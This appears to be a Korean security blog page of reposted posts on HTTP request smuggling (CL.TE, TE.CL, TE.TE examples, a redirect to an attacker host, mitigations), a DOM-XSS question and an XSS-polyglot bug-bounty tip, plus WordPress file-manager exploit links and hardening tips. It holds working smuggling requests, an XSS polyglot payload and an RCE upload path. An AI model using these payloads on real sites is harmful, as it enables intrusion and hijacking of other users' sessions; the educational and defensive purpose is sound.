HTTP Request Smuggling은 Watchfire에 의해 2005년에 처음 등장하여 수면 속에 숨어 있다가 2019년 DEFCON과 BlackHat에서 해당 취약점의 을 이용한 새로운 벡터와 위험도를 검증하면서 인지도가 높아진 취약점입니다.

 

해당 취약점이 이슈가 되는 해인 2019년에 PAYPAL 기업에서는 해당 취약점에 노출된것을 버그 바운티 프로그램을 통해 제보받았고 포상금으로 총 20.000 달러를 지급한 사례가 존재합니다.

 

Http Request Smuggling은 프론트 와 백엔드가 Http 요청의 경계를 다르게 해석하고 RFC7230을 따르지 않는 다양한 라이브러리 사용으로 인해 발생합니다.

여기서 프론트의 역할은 LB(Load Balancer) 나 RP(Reverse Proxy), CDN(Content Delivery Network)가 되며 이들은 다양한 사용자들의 요청을 받아 전달 및 분배를 해주는 과정에서 Back-end가 chunked 또는 Content-Length를 만나면 지정된 데이터만큼만 처리하고 나머지는 패킷은 버퍼에 잠시 남게 되는데 이것은 타 사용자들의 정상적인 요청의 흐름을 방해할 가능성이 존재하다는 것입니다.

 

portswigger/Http Request Smuggling

위의 사진처럼 공격자와 타사용자들 간에 서비스를 이용하는 과정에서 악의적인 사용자는 해당 취약점을 이용해 자신의 요청 이외에 추가적인 요청 행위를 백엔드 버퍼 잠시 기다리도록 대기시키고 타 사용자의 요청 앞단에 함께 묶여 처리되도록 할 수 있습니다.

 

취약점이 발생하는 이유

http요청이 끝나는 위치를 지정해주는 방법인 Content-Length 헤더와 Transfer-Encoding 헤더를 모두 제공하기에 주로 발생합니다. 하지만 대부분의 서비스에서는 2가지의 헤더를 모두 사용하고 있는데 왜 문제가 발생하느냐인데..

RFC 2616에 따르면 Transfer-Encoding 헤더 필드와 Content-Length 헤더 필드가 모두있는 메시지가 수신되면 후자인 Content-Length는 무시되고 이를 Transfer-Encoding이 이를 대체해야 됨

즉 요청 헤더에 2가지의 헤더가 모두 포함이 되어 있을 경우 Content-Length는 무시해야 된다는 것입니다.

 

Content-Length: 응답 메시지의 Body 길이나 특정 지정된 개체의 길이를 한 번에 보냄
Transfer-Encoding: 동적으로 생성되는 응답 헤더로 chunked 전송 방식을 통해 조각조각 나뉘어 처리함(처리 종료는 0이 기점)

Content-Length와 Transfer-Encoding의 존재 이유

<Content-Length 헤더>
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

웹 서버가 전달해주는 콘텐츠의 시작과 끝을 알아야 요청에 대한 처리가 올바르게되는데 그러기 위해 Content-Length 헤더에 전달하고자 하는 컨텐츠의 사이즈를 표시해주면 웹 서버에스는 클라이언트에게 받은 컨텐츠 사이즈를 먼저 계산하여 응답해줄 때 전체 사이즈와 함께 데이터를 전달해준다. 만약 Content-Length 값이 "3" 이면 3 Bytes 만큼 처리하게 됩니다. 

<Transfer-Encoding 헤더>
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

만약 콘텐츠 사이즈가 크면 지연이 걸릴 텐데 그럼 어떡하는가?? 바로 "Chunked" 전송 방식을 통해 전체 데이터를 한 번에 알려주지 않고 조금씩 조금씩 알려줘 부하가 걸리지 않도록 유동적으로 처리해주는 방식이 존재합니다.

"Chunked" 방식에는 Content-Length 헤더가 존재하지 않고 대신 "Transfer-Encoding: Chuncked"라는 헤더가 붙습니다.(0은 종료를 의미)

 

Content-Length와 Transfer-Encoding의 처리방식 및 종류

프론트 엔드와 백엔드 쪽 서버가 처리하는 헤더의 우선순위에 따라 공격 방법이 조금씩 달라집니다. 만약 Content-Length를 프론트에서 우선적으로 처리하고 백엔드에서 Transfer-Encoding을 우선적으로 처리할 경우 CL-TE라고 합니다.

CL:TE : 프론트 엔드 요청(Content-Length) <-> 백 엔드 응답(Transfer-Encoding)
TE:CL : 프론트 엔드 요청(Transfer-Encoding) <-> 백 엔드 응답(Content-Length)
TE:TE : 프론트 엔드와 백 엔드 모두 Transfer-Encoding 지원

위에서도 설명드렸지만 두 헤더가 요청 패킷에 모두 포함될 경우 기존 정상 요청과 추가적인 요청을 덧붙여 전송하여 서버에 전달합니다. 이로 인해 프런트 엔드 및 백 엔드 서버가 체인에서 각 요청의 시작과 끝을 결정하는 방법에 문제가 발생합니다.

 

악의적인 HTTP 요청의 끝이 잘못 계산되어 하나의 서버에서 악성 콘텐츠를 처리하지 않고 체인의 다음 인바운드 요청 시작 부분에 추가되어 처리됩니다.

 

CL:TE 취약점

POST /category HTTP/1.1
Host: guleum-zone.com
Content-Length: 24
Transfer-Encoding: chunked

0 -> processing
smuggling -> Back-End Stanby

Content Length를 통해 프론트 쪽 서버에서는 본문의 길이가 24 바이트인 것처럼 작동합니다. 하지만 백엔드 쪽에서는 Transfer-Encoding에 부여된 chunked를 확인하고 조각조각 처리하는 중 "0"을 만나 데이터 처리를 종료하게 됩니다.

그럼 "0"이후로 표시된 smuggling 메시지는 처리되지 못하기 때문에 백엔드 버퍼에 잠시 기록된 채 다음 요청의 앞에 포함되어 전송될 때까지 대기하게 됩니다.

 

기존 정상적인 요청을 조작하여 임의 값이 버퍼에 기록된 채로 남겨두고 다음 요청에 처리하도록 할 수 있습니다.

 

Content-Length에 부여된 값을 통해 본문 전체 값을 처리하도록 첫 번째 요청을 보냅니다. 하지만 요청 헤더에 포함된 Transfer-Encoding의 chunked로 인해 데이터 처리는 "0"까지밖에 못하게 되어 하위의 "smuggling"은 처리되지 못하고 남아있게 되어 다음 요청 때 함께 포함되어 "POST가 아닌 -> SMUGGLINGPOST"로 처리되게 됩니다.

 

만약 관리자 페이지로 접근하기 위한 /admin 경로가 차단되어 있다면 Smuggling 취약점을 악용하여 접근이 가능할 수 있습니다.

 

요청하는 Host 기반으로 검증하고 있는 것을 확인하였으므로 하단에 추가 요청을 덧붙여 접근하도록 시도할 수 있습니다.

GET 방식에 "x="이라는 값을 Body에 넣어준 이유는 "Content-Type" 속성 때문입니다. 해당 값은 HTTP 요청의 메시지를 POST방식 즉 본문의 Body에 포함하여 보내는 것을 의미합니다.

 

* 추가 요청이 아닌 기존 요청만 보낼 경우 따로 기입하지 않아도 클라이언트 측에서 디폴트로 "application/x-www-form-urlencoded" 속성 값을 넣어서 보내주기 때문에 추가적으로 안 넣어줘도 되지만 위처럼 추가 본문을 덧붙여줄 것이라면 Content-Type을 지정하여 규약을 지켜주셔야 됩니다. 

 

TE:CL 취약점

POST /category HTTP/1.1
Host: guleum-zone.com
Content-Length: 3
Transfer-Encoding: chunked

5 -> processing
smuggling -> Back-End Stanby
0 -> processing

프론트에서는 Transfer-Encoding에 부여된 chunked을 통해 0\r\n 기준으로 조각내어 처리하기 때문에 우선 전체 본문 내용을 백엔드 쪽으로 보냅니다. 하지만 백엔드에서는 Content-Length를 우선적으로 처리하기 때문에 부여된 "3" 바이트의 크기를 참고하여 3개의 개행 문자인 5\r\n 까지만 처리하고 중간에 smuggling은 버퍼에 잠시 동안 대기하여 다음청에 포함하여 전송되게 됩니다.

 

TE:CL 취약점을 원활하게 진행하기 위해선 자동으로 계산되어 할당되는 Update Content-Length 설정을 비활성화해주셔야 원활하게 테스트가 가능합니다. 안 그러면 본문에 추가된 데이터의 길이 모두를 자동으로 계산하여 할당하기 때문에 Smuggling이 발생하지 않습니다.

 

프론트에서는 TE 먼저 우선 처리하기 때문에 종료를 나타내는 "0"을 제일 하단으로 설정하고 우선적으로 전체 본문이 넘어가도록 해줍니다. 그 후 백엔드에서는 CL을 우선 처리하므로 부여된 "3 Bytes" 값만큼만 계산하게 되어 5\r\n 까지만 처리되고 SPOST는 백엔드에 대기하게 되어 그다음 요청에 처리됩니다.

 

본문에 새로운 요청을 추가하여 전송할 수도 있습니다. 우리는 Content-Length에 부여된 값으로 인해 백엔드에서 처리하므로 딱 처리되는 만큼의 데이터만 남겨주시고 나머진 다음 요청에 처리되도록 작성해주시면 됩니다.

 

단 Content-Length 값이 "10"인데 Body의 내용이 3 Bytes 정도밖에 없다면 서버 측에서는 데이터가 덜 들어온 것으로 판단하여 기다리다가 Timeout을 선사해줍니다.

 

CL:TE에서 확인했던 관리자 페이지 접근은 TE:CL에서는 위처럼 요청하여 무단 액세스 할 수 있습니다. 0\r\n을 기점으로 본문 전체 내용을 전달하지만 백엔드에서는 Content-Length에서 부여된 4 Bytes 로인해 71\r\n 까지만 처리하고 나머지는 다음 요청에 남아 전달됩니다.

 

TE:TE 취약점

<Transfer-Encoding 혼돈화>
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked

프론트와 백엔드 모두 Transfer-Encoding 헤더의 우선순위를 지정하여 처리할 경우 요청 헤더에 2개의 Transfer-Encoding을 삽입하여 smuggling할 수 있습니다. 이때 개행문자나 잘못된 값을 넣어 프론트랑 백엔드 둘중 하나가 이를 무시하도록 우회하는 것입니다. 프론트 단에서만 Trasnfer-Encoding을 처리하거나 그 반대인 백엔드에서만 처리해도 발생가능하기 때문에 CL:TE 또는 TE:CL 과 유사하다고 볼 수 있습니다.

 

위처럼 2개의 Transfer-Encoding을 이용하되 하나는 정상 헤더 나머지는 비정상적인 헤더 값을 사용하여 1개만 처리되도록 유도하는 것 입니다.

 

이것도 마찬가지로 Content-Length에 처리할 값만 지정시켜서 5c\r\n 까지만 처리되도록 유도하면 나머지 추가된 값은 버퍼에 기록되어 다음 요청과 함께 처리됩니다.

 

HTTP Request Smuggling + XSS 공격

패킷을 밀수하는 공격을 통해 다양한 악용이 가능합니다. 대표적인 XSS(Cross Site Scripting) 취약점이 대상 웹 어플리케이션에 존재할 경우 추가 악용이 가능합니다.

페이지 로직을 확인해본 결과 매개변수에 사용자의 정보인 User-Agent 값을 사용하고 있는 것을 확인할 수 있습니다.

 

요청 패킷을 잡아 확인해보면 확실하게 값으로 인식하고 처리하고 있습니다. 해당 헤더에 값 이외에 악의적인 스크립트를 삽입하여 버퍼에 남긴 후 다른 요청 때 스크립트가 실행되도록 공격할 수 있습니다.

 

CL:TE 환경을 고려하여 전체 본문 데이터가 백엔드로 날아가지만 백엔드의 Transfer-Encoding 정책으로 인해 "0" 까지만 처리하고 스크립트가 삽입된 추가 요청은 버퍼에 남기도록 합니다.

 

* 다시 말씀드리지만 GET 방식인데 Body에 a=1이라는 데이터가 포함된 이유는 Content-Tyep 속성으로 인해 값을 넣어준 것입니다. 그렇지 않으면 서버 측에서 본문에 데이터가 확인되지 않아 무작정 기다리다 타임아웃 걸어버립니다.

 

스크립트가 실행됩니다. XSS와 연계하여 사용하는 문제는 다소 위험도가 높은 것으로 판단됩니다. HTTP 요청 밀수 공격은 MITM이 아닌 서버단에 기록된 후 처리되는 방식이기에 타 사용자들에게도 충분히 영향이 갈 수 있기 때문입니다.

 

HTTP Request Smuggling + Force Redirect

대부분의 웹 어플리케이션에서는 특정 URL에서 이벤트 발생 시 타 URL로 이동하기 위해 매개변수에 값을 받지 않고 "Host:" 헤더에 배치하여 리다이렉션 합니다. 여기서 HTTP 밀수 공격을 연계하게 될 경우 다음 요청을 받을 타 사용자에게 강제 리다이렉션 시킬 수 있는 HTTP 요청을 전달할 수 있습니다.

<Request>
GET /home HTTP/1.1
Host: guleum-zone.tistory.com

<Response> -> Original HTTP Redirection
HTTP/1.1 301 Moved Permanently
Location: https://guleum-zone.tistory.com -> processing

 

이걸 악용한다면 아래와 같이 재요청을 할 수 있습니다.

<Request>
POST / HTTP/1.1
Host: Target-domain.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com -> Back-End Stanby
Foo: X

==========================Back-End Stanby===========================

<Other User Request> -> After Stanby
GET /home HTTP/1.1
Host: attacker-website.com -> Add this Domain
Foo: XGET /scripts/include.js HTTP/1.1 -> Original Request
Host: vulnerable-website.com

<Other User Response> -> Force HTTP Redirection
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/ -> processing of Attacker Domain

 악의적인 사용자는 프론트와 백엔드 간에 CL:TE 처리를 한다는 것을 확인 후 자신의 요청에 추가적인 본문을 추가하여 백엔드 서버에 대기하도록 할 수 있습니다.

 

이때 Transfer-Encoding에 부여된 chunked으로 인해 "0" 까지만 데이터를 처리하게 되고 Host: 에 추가된 공격자의 악성 서버 주소는 서버에 요청하는 타 사용자의 요청에 붙어서 처리됩니다.

 

기존에 사용자는 GET /scripts/include.js 경로에 존재하는 정상적인 스크립트 파일을 로드하여 서비스를 이용하려고 했지만 요청 앞단에 공격자가 저장해둔 값이 붙게 되어 최종적으로 공격자가 지정해둔 악성 서버로 리다이렉션 되게 됩니다.

 

Http Request Smuggling Scan

github.com/defparam/smuggler

 

defparam/smuggler

Smuggler - An HTTP Request Smuggling / Desync testing tool written in Python 3 - defparam/smuggler

github.com

위에서 여러 CL:TE / TE:CL 등 테스트를 진행하다 보면 적절한 Content-Length 값을 부여한다는 게 보통일이 아닐 수도 있습니다. 그럴 때는 자동화 스캔을 진행하여 표면적으로 취약 유무를 판단 후에 확인이 된다면 프록시 도구를 사용해 취약성 검증을 하는 게 효율적일 수도 있습니다.

 

대상 웹 어플리케이션에 HTTP 밀수 공격에 대하 취약점이 존재할 경우 위처럼 TECL 또는 CLTE 같은 구분을 해주면서 발견되었다는 것을 콘솔에 찍어줍니다.

 

/Payload 디렉토리에 생성된 결과 파일을 통해 추가적으로 수동진단을 빠르게 진행할 수 있도록 지원해줍니다.

 

대응방안

조치할 수 있는 방법은 너무나도 까다로워 단지 인증심사를 위한 전제조건 또는 OWASP 기준의 취약점 진단을 받으려는 기업들은 조치가 조금 어려울 것이라고 판단되지만 만약 조치를 하고자 한다면 아래와 같다.

- 백엔드 쪽에 HTTP2 프로토콜로 업그레이드하여 끝나는 위치에 대한 모호성을 방지(Transfer-Encoding는 HTTP/2 에서는 지원되지 않음)
- 비정상적인 요청을 감지 하기 위해 행위 기반 WAF 도입
- 백엔드의 연결 재사용을 비활성화하여 백엔드 요청이 별도의 네트워크 연결을 통해 전송되도록(서버의 성능 저하를 예방할 수 있음)
- 프런트와 백엔드의 헤더가 신뢰할 수 있는 헤더인지 동일하게 매핑

단순히 클라이언트, 서버 측에서 끝낼 수 있는 문제가 아니기 때문에 각 기업의 인프라 환경을 고려하여 조치해야 된다.

 

PayPal의 경우 해당 취약점을 조치하기 위해 아래의 방법을 사용하는 것이 아닌 서비스하는 환경을 고려하여 Transfer-Encoding 헤더 자체를 비신뢰하여 처리하지 않도록 조치했다는 내용이 있습니다.

 

이번 취약점은 뭔가 좀 더 연구가 필요해 보이기 때문에 재밌는 사례나 정보가 생긴다면 더 추가하도록 하겠습니다.

 

References

- https://portswigger.net/web-security/request-smuggling
- https://core-research-team.github.io/2020-05-01/HTTP-Request-Smuggling-HTTP-Desync-Attack-be0e1c6035f84533af79463b3ec49d75
- https://core-research-team.github.io/2020-05-01/HTTP-Request-Smuggling-HTTP-Desync-Attack-be0e1c6035f84533af79463b3ec49d75
- https://www.hahwul.com/2019/08/12/http-smuggling-attack-re-born/
<Transfer-Encoding>
- https://b.pungjoo.com/entry/Transfer-Encoding-chunked-VS-Content-Length
<Content-Length>
- https://secretofsh.tistory.com/120
<Content-Type>
- https://blog.naver.com/writer0713/221853596497
 

 

 

'' 카테고리의 다른 글

HTTP Request Smuggling (펌)  (0) 2022.06.16
SSRF (펌)  (0) 2022.06.14
DOM 기반 XSS (펌)  (0) 2022.05.11
XSS 버그바운티 (펌)  (0) 2022.05.11
Wordpress file uplad exploit 확인  (0) 2022.05.02
블로그 이미지

wtdsoul

,

DOM 기반 XSS (펌)

2022. 5. 11. 13:17

DOM 기반 XSS 방어 관련 질문입니다.


https://okky.kr/article/872734?note=2239980

 

OKKY | DOM 기반 XSS 공격의 개념이 잡히질 않아 질문드립니다.

DOM Base XSS cheat sheet 문서를 읽어보는데 이해가 어려워 질문드립니다. DOM 기반 XSS 공격에 대해 URL에 포함된 악성 스크립트가 동작하여 발생하는 문제라고 배웠습니다. 이에 대해 HTML 코드로 인식

okky.kr

 

상기 링크의 질문에서 이어서 한 번 더 질문드리고자 합니다.

 

현재 관리 중인 페이지가 보안 검사 결과 URL 전반에서 DOM 기반 XSS 공격에 취약판정을 받았습니다.

 

공격받은 내용의 예시는 아래와 같습니다.

 

URL : https://127.0.0.1/cgi-bin/pglogin.cgi#jaVasCript:/*-/*`/*\`/*'/*"/**/(/*  */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Method : GET

 

공격받은 URL (https://127.0.0.1/cgi-bin/pglogin.cgi ) 은 페이지 접속을 담당하는 CGI 전반이며

 

예시에 해당하는 URL로 접속하면 아래의 정적 HTML 문서를 전달합니다.

 

 

<!DOCTYPE HTML>
<html>
        <head>
                <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
                <link type="text/css" rel="stylesheet" href="/css/style.css"/>
                <link type="text/css" rel="stylesheet" href="/css/jquery-ui.min.css"/>
                <link type="text/css" rel="stylesheet" href="/css/jquery.highlighttextarea.min.css"/>
                <!--
                <link type="text/css" rel="stylesheet" href="/css/offline-theme-default.css"/>
                <link type="text/css" rel="stylesheet" href="/css/offline-language-english.css"/>
                -->
                <script type="text/javascript" src="/js/jquery-3.5.1.min.js"></script>
                <script type="text/javascript" src="/js/jquery-ui.min.js"></script>
                <script type="text/javascript" src="/js/jquery.highlighttextarea.min.js"></script>
                <script type="text/javascript" src="/js/util.js"></script>
                <script type="text/javascript" src="/js/loginaction.js"></script>
                <!--
                <script type="text/javascript" src="/js/offline.min.js"></script>
                -->

                <title>Monitoring Tool Demo</title>
        </head>
        <body onload="initAntiCsrf()">
          <div align="center" halign="center">
            <div id="header">
              <table class="ttl_table">
                <tr>
                  <td class="ttl_title"><font size="5">Monitoring Tool Demo</font></td>
                </tr>
                <tr>
                  <td class="ttl_name">
                    &nbsp;
                  </td>
                </tr>
              </table>
            </div>
            <!-- vim:set ts=8 sts=2 sw=2: -->
            <table>
                        <h2>Log In</h2>
                        <tr>
                                <td>Name</td>
                                <td><input type='name' style='width:150px;' name='nm' maxlength='25' size='16' id="nm_input" required></input></td>
                        </tr>
                        <tr>
                                <td>Password</td>
                                <td><input type='password' style='width:150px;' name='ps' onKeyDown='EnterLogin(event);' maxlength='16' size='16' id="pw_input" required></input></td>
                        </tr>
                </table>
                <div id="warning" style="color:red; font-weight:bolder;"></div>
            <p>
                <input type='button' value='Log In' style='width:100px;' name='action'  onClick='BtLogin();' >
                &nbsp;&nbsp;&nbsp;
                <input type='reset' value='Cancel' style='width:100px;'>
            </p>
          </div>
        </body>
</html>

 

Input에 대한 검증 등은 전적으로 서버가 수행중이기에 이 부분도 고쳐야할 것 같습니다만...

 

제가 지식이 없어서인지 단순 페이지를 불러오는 URL에서 위와 같은 #을 활용한 공격법으로 취약판정이 나오는건 여전히 어째서인지를 모르겠습니다...

 

혹시 짐작가시는게 있다면 도와주시면 정말 감사하겠습니다.

'' 카테고리의 다른 글

SSRF (펌)  (0) 2022.06.14
HTTP Request Smuggling (펌)  (0) 2022.06.14
XSS 버그바운티 (펌)  (0) 2022.05.11
Wordpress file uplad exploit 확인  (0) 2022.05.02
wordpress 대표적인 취약점 정리  (0) 2022.04.29
블로그 이미지

wtdsoul

,

XSS 버그바운티 (펌)

2022. 5. 11. 13:15

https://te-ra.tistory.com/43

 

[XSS 버그바운티 TIP] XSS polyglots

최근 몇 주전에 모사이트 XSS 취약점을 발견하여 보고하게 되었다. 버그바운티를 하면서 공부할때와 리얼월드는 XSS을 찾는 방법이 차이가 있다는 것을 느꼈다. 아직 누군가에게 설명할 정도는

te-ra.tistory.com

 

 

https://github.com/TyrantSec/Fuzzing/blob/master/XSS-Polyglots/99-XSS-Polyglots.txt

 

최근 몇 주전에 모사이트 XSS 취약점을 발견하여 보고하게 되었다.

 

버그바운티를 하면서 공부할때와 리얼월드는 XSS을 찾는 방법이 차이가 있다는 것을 느꼈다.

아직 누군가에게 설명할 정도는 아니지만 초보자의 입장에서 어떻게해서 어떻게 XSS를 발견했는지를 적어보려한다.

 

 

XSS 진단

보통 XSS를 처음 공부하면 <script>alert(1)</script>식의 alert()함수를 터트리는 치트시트로 점검해야한다 생각한다.

 

alert()함수를 터트린 XSS스크립트

 

 

 

하지만 실제 웹사이트에서는 기본적인 것들은 이미 보호가 되어있어 alert()함수를 떡하니 띄어주지 않는다. alert()함수 성공 유무로 XSS를 진단 하는 것은 오래된 사이트가 아니라면 기대하기 힘들다.  alert()함수가 아닌 브라우저의 스트립트 오류를 유도하여 XSS발생 가능성을 확인하는 것이 선행되야한다.

 

XSS는 기본적으로 웹페이지에 의도치않은 스크립트가 삽입되어 발생한다.  XSS가 적용된다는 것은 <>"'--> 등 스크립트에 사용되는 문자에 의해 오류가 발생될 수 있는 환경이라는 것이다. alert()를 띄우는 것은 모든 조건이 맞아야 실행되지만 특정 문자로인한 스크립트 오류는 상대적으로 확인하기 쉽다. 

 

그렇기에 기본 치트시트 보다는 여러환경에서 오류를 확인할 수 있는 XSS polyglots 치트시트를 추천한다.

또한 XSS오류가 발생했는지 개발자도구를 통해 쉽게 확인할 수가 있다. 

 

XSS Polyglots

XSS Polyglots이란 다양한 환경에서 XSS발생 가능성을 확인하기위해 이를 유도하는 구문을 한줄로 정리한 것이다. 

XSS 치트시트는 각 환경에서 alert()를 테스트할 목적으로 각 상황별 여러 가지의 스크립트를 모아 두었다면 XSS Polyglots은 모든 상황에서 쓰일 수 있는 구문을 담기위해 노력한 스크립트라고 생각하면된다.

 

GitHub에서 Polyglots예시를 가져왔다.

github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot

 

0xSobky/HackVault

A container repository for my public web hacks! Contribute to 0xSobky/HackVault development by creating an account on GitHub.

github.com

6가지의 XSS 가능성을 제시한 polyglots 스크립트이다.

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

 

다음과 같은 6가지 XSS가능성을 점검한다.

  • jaVasCript:: A label in ECMAScript; a URI scheme otherwise.
  • /*-/*`/*\`/*'/*"/**/: A multi-line comment in ECMAScript; a literal-breaker sequence.
  • (/* */oNcliCk=alert() ): A tangled execution zone wrapped in invoking parenthesis!
  • //%0D%0A%0d%0a//: A single-line comment in ECMAScript; a double-CRLF in HTTP response headers.
  • </stYle/</titLe/</teXtarEa/</scRipt/--!>: A sneaky HTML-tag-breaker sequence.
  • \x3csVg/<sVg/oNloAd=alert()//>\x3e: An innocuous svg element.

많은 상황을 커버 할 수 있는 스크립트를 제작한다면 하나의 스크립트로 한번에 여러가지 XSS가능성을 점검할 수 있을 것이다.

 

XSS Polyglots 활용법

XSS Polyglots이 적용됐는지는 개발자 도구를 통해 쉽게 확인 할 수 있다.

실제 사이트에 적용되는 곳을 찾았다 해도 함부로 공개할 수 없기에 연습용 사이트를 참고했다.

위의 스크립트에서 alert() 제외하고 XSS를 찾아보겠다.

사용한 스크립트이다.

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk= )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=//>\x3e

 

xss-quiz.int21h.jp/

 

XSS Challenges (by yamagata21) - Stage #1

XSS Challenges Stage #1 Notes (for all stages): * NEVER DO ANY ATTACKS EXCEPT XSS. * DO NOT USE ANY AUTOMATED SCANNER (AppScan, WebInspect, WVS, ...) * Some stages may fit only IE. Ranking (optional): If you want to participate in ranking, please register

xss-quiz.int21h.jp

svg상황에서 XSS발생 가능성이 있다는 것을 확인할 수 있다.

 

스크립트를 적용한 이미지

이렇게 대놓고 적용된다고 안뜨더라도 스크립트의 영향으로 오류가 발생하였다면 크롬 개발자 도구에서 콘솔창에 오류가 있는 페이지를 띄어준다. 마땅한 예시를 찾는다면 업데이트를 하겠다.

 

 

정리

XSS Polygolts -> 오류발생 or 스크립트 발생 확인 -> 검증 스크립트 유도

기본적인 XSS 진단은 3가지 프로세스를 사용하여 XSS취약점을 발견하였다.

XSS를 잘 적용하기위해선 발생가능한 환경을 잘 파악해두는 것이 첫번째이다.

예전에 비해 웹사이트 보안이 강화되어 찾기 어렵게 됐지만 아직 잘 찾아보면 한두개는 존재하는 것 같다.

찾는데 시간이 오래걸리지만 찾으면 용돈도 되고 스펙도 되니 모두 잘 노력해서 찾아보자

 

'' 카테고리의 다른 글

HTTP Request Smuggling (펌)  (0) 2022.06.14
DOM 기반 XSS (펌)  (0) 2022.05.11
Wordpress file uplad exploit 확인  (0) 2022.05.02
wordpress 대표적인 취약점 정리  (0) 2022.04.29
Wordpress 정리  (0) 2022.04.29
블로그 이미지

wtdsoul

,

/wp-content/plugins/wp-file-manager/readme.txt exploit

 

https://github.com/mansoorr123/wp-file-manager-CVE-2020-25213/blob/main/wp-file-manager-exploit.sh

 

 

 

 

 

 

'' 카테고리의 다른 글

DOM 기반 XSS (펌)  (0) 2022.05.11
XSS 버그바운티 (펌)  (0) 2022.05.11
wordpress 대표적인 취약점 정리  (0) 2022.04.29
Wordpress 정리  (0) 2022.04.29
CSRF 참고 hacktricks  (0) 2022.04.23
블로그 이미지

wtdsoul

,

https://grip.news/archives/765

 

WordPress xmlrpc.php DDOS / exploit / 공격 과 대처 방법 - GRIP.News

WordPress 의 xmlrpc.php 는 “XML-RPC”를 사용하기 위한 어플리케이션이다. XML-RPC는 RPC프로토콜의 일종으로, 워드프레스에선 HTTP 프로토콜을 아용해 XML 로 인코딩한 데이터를 교류하는. 즉, 일반적으

grip.news

 

http://dobiho.com/50828/

 

워드프레스 xmlrpc.php 공격 차단하기 - dobiho on HCI

워드프레스는 백악관사이트나 대기업 홈페이지나 신문사 사이트, 쇼핑몰들도 사용하는 세계에서 가장 많이 사용하는 CMS 솔루션이다. 소스코드가 공개되어 있고 개방형 구조라 테마나 플러그인

dobiho.com

https://ko.0xzx.com/20200902111528.html

 

[Security Circle]긴급 워드 프레스 파일 관리자 플러그인, 심각한 제로 데이 취약점 폭발 - 블록 체인

연구원들은 화요일에 해커들이 700,000 개 이상의 활성 설치가있는 WordPress 플러그인 인 파일 관리자를 실행하는 웹 사이트에서 명령과 악성 스크립트를 실행할 수있는 취약점을 적극적으로 악용

ko.0xzx.com

 

 

https://blog.naver.com/PostView.naver?blogId=adtkorea77&logNo=222540322127&parentCategoryNo=&categoryNo=63&viewDate=&isShowPopularPosts=true&from=search 

 

[Special Report] 원격코드실행 취약점 분석 및 공격 흔적 식별 방안 #9

■ 개요 파일 업로드 취약점은 파일 업로드 기능을 악용하여 시스템 명령 실행 및 시스템 구조를 파악할 수...

blog.naver.com

 

https://github.com/w4fz5uck5/wp-file-manager-0day

 

 

https://www.XXX.org/wp-content/plugins/wp-file-manager/readme.txt (버전 정보 확인)

wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php 업로드 경로

'' 카테고리의 다른 글

XSS 버그바운티 (펌)  (0) 2022.05.11
Wordpress file uplad exploit 확인  (0) 2022.05.02
Wordpress 정리  (0) 2022.04.29
CSRF 참고 hacktricks  (0) 2022.04.23
graphql insql  (0) 2022.04.23
블로그 이미지

wtdsoul

,

Wordpress 정리

2022. 4. 29. 10:38

https://www.exploitalert.com/search-results.html?search=wordpress 

 

Wordpress Exploits - Exploitalert

About us & Partners This information is provided for TESTING and LEGAL RESEARCH purposes only.All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy

www.exploitalert.com

 

/readme.html

/wp-login.php

/wp-links-opml.php

wp-rdf.php 

wp-includes/wlwmanifest.xml

 

https://wpsec.com/

 

https://geekflare.com/tools/wordpress-security-scanner

 

Check known vulnerabilities in your WordPress site - Geekflare Tools

Enter your WordPress URL to scan for theme, plugin, admin console and core security.

geekflare.com

 

https://blog.comodo.com/it-security/learn-comodo-mod_security-rules-will-protect-web-servers-attack-free/

 

Learn how Comodo mod security will protect your web against attack

Find out the rules provided to know on how to protect your web servers against attack with the help of Comodo Mod Security. Know more now!

blog.comodo.com

 

https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html

 

WordPress Core 4.6 - Unauthenticated Remote Code Execution (RCE) PoC Exploit

 

exploitbox.io

 

https://codex.wordpress.org/WordPress_Files

 

WordPress Files « WordPress Codex

Note: The file descriptions on this page are for WordPress Version 2.x Each file appearing in this list has been sorted into its directory of origin. A description of the purpose of the file and its possible dependencies appear after each. WordPress Root i

codex.wordpress.org

http://leekyu.net/board_01/4588

 

KB - WordPress 4.7.0/4.7.1 - Unauthenticated Content Injection 취약점

2017.2.2 워드프레스 관련 취약점 Exploit-DB에 공개 되었다. Poc 코드 공개 이후 해당 취약점을 이용해서 웹 사이트 게시물을 변조 하는 행위가 크게 늘었다. 웹 사이트 위 건수 급증가, 해당 사이트들

leekyu.net

 

1. 워드프레스는 무조건 최신버전 사용 (최신버전 새로 나오면 24시간 내에 업데이트)

2. 사용중인 플러그인 모두 점검 (쉽게 뚫리는 것으로 악명높은 플러그인들이 몇 개 있음 - 구글링해 보세요)

3. 사용중인 스킨에 XSS, CSRF 등의 취약점이 있을 수 있음

4. 예전 해킹시 백도어를 남겨두고 계속 사용하고 있을 수도 있으므로, 스킨 헤더나 푸터 등에 이상한 내용이 추가되어 있는지 점검

5. FTP 비번을 빼냈을 수 있으므로 FTP 비번을 변경 (카페24 로그인 비번과 별도입니다. 별도 메뉴에서 변경 가능합니다)

